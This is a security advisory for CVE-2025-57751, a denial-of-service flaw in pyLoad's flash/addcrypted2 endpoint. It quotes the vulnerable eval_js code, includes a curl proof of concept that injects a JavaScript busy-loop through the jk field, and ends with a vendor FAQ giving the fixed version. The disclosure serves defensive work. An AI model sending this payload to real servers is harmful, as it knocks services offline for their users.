CVE-2025-57751

Dear Maintainers,
I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.

The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.

Details

• Endpoint: flash/addcrypted2
• affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123
  https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42

affected code

@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
    package = flask.request.form.get(
        "package", flask.request.form.get("source", flask.request.form.get("referer"))
    )
    crypted = flask.request.form["crypted"]
    jk = flask.request.form["jk"]
    pack_password = flask.request.form.get("passwords")

    crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
    jk = eval_js(f"{jk} f()")

def eval_js(script, es6=False):
    if sys.version_info < (3, 12):
        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
    else:
        return dukpy.evaljs(script)

PoC

download pyload and run locally, send the following request

• PoC

curl -X POST "http://localhost:8000/flash/addcrypted2" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "crypted=SGVsbG8gd29ybGQ=" \
  -d "passwords=pyload" \
  -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"

The 30_000 can be modified to any large value.

System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.

Use the following command to check CPU usage

top -pid $(pgrep -f "pyload.__main__") 

or

top -pid $(pgrep -f "pyload") 

The CPU is fully occupied

web-ui unresponsive

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

Kodem intelligence

1. What is CVE-2025-57751? CVE-2025-57751 is a high-severity uncontrolled resource consumption vulnerability in pyload-ng (pip), affecting versions < 0.5.0b3.dev92. It is fixed in 0.5.0b3.dev92. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. Which versions of pyload-ng are affected by CVE-2025-57751? pyload-ng (pip) versions < 0.5.0b3.dev92 is affected.
3. Is there a fix for CVE-2025-57751? Yes. CVE-2025-57751 is fixed in 0.5.0b3.dev92. Upgrade to this version or later.
4. Is CVE-2025-57751 exploitable, and should I be worried? Whether CVE-2025-57751 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-57751 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-57751? Upgrade pyload-ng to 0.5.0b3.dev92 or later.